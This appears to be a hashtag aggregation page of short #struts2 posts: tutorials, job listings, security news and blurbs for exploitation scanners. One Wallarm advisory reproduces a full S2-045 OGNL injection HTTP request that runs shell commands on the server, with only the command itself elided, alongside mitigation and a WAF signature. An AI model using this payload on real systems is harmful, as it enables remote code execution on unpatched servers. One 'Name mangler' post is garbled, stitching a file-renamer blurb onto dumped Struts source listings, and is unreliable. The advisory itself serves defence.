#struts2

[ericvanderburg]

ACSC Warns of Remote Code Execution Risk in Apache Struts2

http://securitytc.com/TGs46v

[websparrow-blog1]

This Struts 2 tutorial will explain how to manage the Session in Struts 2 and develop a login and logout module on the basis of Session.

[websparrow-blog1]

In this Struts 2 tutorial, we will organize the bunch of data into pagination. In this example we are using jQuery dataTable to create pagination for huge amount of data.

[pentesttoolz]

Vulmap - Web Vulnerability Scanning And Verification Tools

Vulmap - Web Vulnerability Scanning And Verification Tools #elasticsearch #JBoss #linux #macOS #RemoteCodeExecution

Vulmap is a vulnerability scanning tool that can scan for vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually…

[zakybstrd21215]

PoC Exploit Apache Struts2 Vulnerability (CVE-2017-9805) Disclaimer: This tutorial/guide for educational purpose only. The vulnerability (CVE-2017-9805) is a programming blunder that resides in the way Struts processes data from an untrusted source. Specifically, Struts REST plugin fails to handle XML payloads while deserializing them properly. All versions of Apache Struts since 2008 (Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) are affected, leaving all web applications using the framework’s REST plugin vulnerable to remote attackers. More info about this vulnerability: https://errorcybernews.com/2017/09/06/kerentanan-kritis-apache-struts2/ Full version: https://youtu.be/E5MKx9NvRAA #apache #struts #struts2 #apachestruts2 #strutsrestplugin #vulnerabilities #vulnerability #cve20179805

[wallarm-lab]

New Struts2 Remote Code Execution exploit caught in the wild

New link to this post: https://lab.wallarm.com/new-struts2-remote-code-execution-exploit-caught-in-the-wild-34e52fa8e2

Two days ago Apache has published a fix for the new Remote Code Execution vulnerability in Struts2 https://cwiki.apache.org/confluence/display/WW/S2-045

This vulnerability allows attacker to execute arbitrary Java code on the application server.

We can confirm that caught the first exploit for this vulnerability from the wild. And this is crazy. Like previous OGNL exploits this one is also based on the OGNL macroses to construct and call shell command via sequence of Java classes.

Exploit

Wallarm has first caught the exploit on Mar 8, 03:34 am. Please look the sample malicious HTTP request below:

GET /valid-struts.action HTTP/1.1

User-Agent: any

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds=(<some malicious code here>).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Mitigation

Please check that you’ve already updated to Struts 2.3.32 or Struts 2.5.10.1

If you are unable to update Struts2 immediately you should apply virtual patch to your WAF. It’s essentially similar to the previous OGNL exploits however it’s likely to not be covered by many existing WAF signatures. If using old-fashion Web Application Firewall make sure to add this string as a new signature:

%{(#_='multipart/form-data')

History

Here is a list of all historical OGNL security issues in Struts2:

https://www.cvedetails.com/cve/CVE-2016-3093/

https://www.cvedetails.com/cve/CVE-2016-0785/

https://www.cvedetails.com/cve/CVE-2013-2251/

https://www.cvedetails.com/cve/CVE-2013-2135/

https://www.cvedetails.com/cve/CVE-2013-2134/

https://www.cvedetails.com/cve/CVE-2013-2115/

https://www.cvedetails.com/cve/CVE-2013-1966/

https://www.cvedetails.com/cve/CVE-2013-1965/

https://www.cvedetails.com/cve/CVE-2012-4387/

https://www.cvedetails.com/cve/CVE-2012-0838/

https://www.cvedetails.com/cve/CVE-2012-0391/

https://www.cvedetails.com/cve/CVE-2010-1870/

https://www.cvedetails.com/cve/CVE-2008-6504/

It means that the OGNL technology are broken altogether.

[ainiweier]

2020年10月发现的黑客组织B控制了位于美国的24台主机对中国993台目标主机实施攻击，攻击对象主要为高校，涉及山西、广西、广东等省份；也有部分党政机关，如某省科技委员会、某市商务局等。攻击手段主要包括SNMP暴力破解、PHP代码执行漏洞、Struts2远程命令执行漏洞等暴力破解和Web扫描攻击。

[jacksonpiner]

Name mangler snippet md5

#Name mangler snippet md5 install#

#Name mangler snippet md5 full#

Name Mangler is a batch file renamer that supports the following renaming tasks: Find and Replace (including support for regular expressions) Number Sequentially Change Case Set Extension Add Prefix/Suffix Remove/Insert Characters. If you need to rename several files at once, this is the application you have always been looking for. =README-gridsphere.txt (/export/home/jmitchell/svn/struts/struts2/apps/portlet/src/main/etc/gridsphere/README-gridsphere.Name Mangler (was File List) is an Easy-to-use batch file re-namer. context.PreparatorServletĭwr uk. PortletWrapper Struts-portlet contextConfigLocation /WEB-INF/applicationContext*.xml action2 =web.xml (/export/home/jmitchell/svn/struts/struts2/apps/portlet/src/main/etc/exo/web.xml) =pom.xml (/export/home/jmitchell/svn/struts/struts2/apps/portlet/pom.xml)Ĥ.0.0 struts2-apps 2.0.2-SNAPSHOT struts2-portlet war Portlet Webapp scm:svn: scm:svn: portlet-api portlet-api 1.0 provided rvlet servlet-api 2.4 provided commons-lang commons-lang 2.0 =mailreader.css (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/css/mailreader.css)įont-family: Arial, Helvetica, sans-serif Struts 2 Mailreader contextConfigLocation classpath*:applicationContext*.xml Struts2 =web.xml (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/WEB-INF/web.xml) =database.xml (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/WEB-INF/database.xml) =context.xml (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/META-INF/context.xml) Forīackground on these technologies, see the Language, JavaBeans, web applications, and JavaServer Pages. The tour assumes the reader has a basic understanding of the Java

#Name mangler snippet md5 full#

Of course, the full source code to the MailReader is included in the

#Name mangler snippet md5 install#

Want to install the MailReader application on your own development The article includes code snippets, but for the best result, you might "walking through" a simple, but functional, application. This article is meant to introduce a new user to Apache Struts 2 by =tour.html (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/tour.html)Ī Walking Tour of the Struts 2 MailReader Application A Walking Tour of the Struts 2 MailReader Application =index.html (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/index.html) =Subscription.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/Subscription.jsp) =Registration.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/Registration.jsp) =MainMenu.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/MainMenu.jsp) =Login.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/Login.jsp) =Footer.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/Footer.jsp) Or appropriate technical support personnel. Please report this error to your system administrator Unexpected Error An unexpected error has occured =Error.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/Error.jsp) =ChangePassword.jsp (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/src/main/webapp/ChangePassword.jsp) =pom.xml (/export/home/jmitchell/svn/struts/struts2/apps/mailreader/pom.xml)Ĥ.0.0 struts2-apps 2.0.2-SNAPSHOT struts2-mailreader war Starter Webapp scm:svn: scm:svn: rvlet servlet-api 2.4 provided $ struts-mailreader-dao 1.3.5 src/main/java **/*.xml **/*.properties maven-jetty6-plugin =Welcome.jsp (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/example/Welcome.jsp) =Register.jsp (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/example/Register.jsp) =Missing.jsp (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/example/Missing.jsp) =Menu.jsp (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/example/Menu.jsp) =Login.jsp (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/example/Login.jsp) =HelloWorld.jsp (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/example/HelloWorld.jsp) Struts Blank struts2 .FilterDispatcher struts2 /* .ContextLoaderListener index.html =web.xml (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/WEB-INF/web.xml) =applicationContext.xml (/export/home/jmitchell/svn/struts/struts2/apps/blank/src/main/webapp/WEB-INF/applicationContext.xml)

[hackgit]

​PowerLadon Ladon Scanner For #PowerShell. PortScan/OnlinePC/ VulScan/ Struts2/ Weblogic/...

​PowerLadon Ladon Scanner For #PowerShell. PortScan/OnlinePC/ VulScan/ Struts2/ Weblogic/ Exploit/GetShell/ MS17010 Ladon is a multi-threaded plug-in integrated scanning artifact for large #network penetration, including port scanning, service identification, network assets, password blasting, high-risk vulnerability detection, and one-click GetShell, supporting batch A/B/C segments and cross Network segment scanning, support URL, host, #Domain name list scanning. The 5.5 version has 39 function modules built-in, which can quickly obtain the target network surviving host IP, #computer name, workgroup, shared resource, network card address, operating system version, website, and sub-domain name through multiple protocols and methods. https://github.com/k8gege/PowerLadon

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[tutorialandexample]

myself Anil Programming developer in tutorialandexample portal.it Provides free tutorial of PHP, Python, Java, Servlet, JSP, Struts2, Spring, Hibernate, Android, JavaScript, C, Cloud Computing, Ajax, SQL etc. To learn advance technology by connecting website https://www.tutorialandexample.com

[jobsine]

Java Lead Job For 5-8 Year Exp In CGI Information Systems and Management Consultants Bengaluru / Bangalore, India - 3786704

Java Lead Job For 5-8 Year Exp In CGI Information Systems and Management Consultants Bengaluru / Bangalore, India – 3786704

Position Description:Position DescriptionYears of Exp: 5 Years – 6 Years. Experienced member with expertise on Java, J2EE. Should be in a position to gather the requirements quickly, design/develop and provide solutions. Independently communicate with onshore counterparts, vendors and clients.. Provide value add propositions to the client.. Mandatory Skills: Java/J2EE Spring MVC, Struts2.x, EJB,…

[javascriptnext]

How To Insert Data Using Struts2 & AngularJS ☞ https://blog.learnstartup.net/p/insert-data-using-struts2-angularjs/ #Angular #Angularjs

[websparrow-blog1]

In the previous Struts2 and iText example, I have simply put the static values to create the PDF report. But in this example, we fetch the multiple records from the database and create the dynamic PDF report.

[javascriptpro]

How To Insert Data Using Struts2 & AngularJS ☞ https://blog.learnstartup.net/p/insert-data-using-struts2-angularjs/ #AngularJS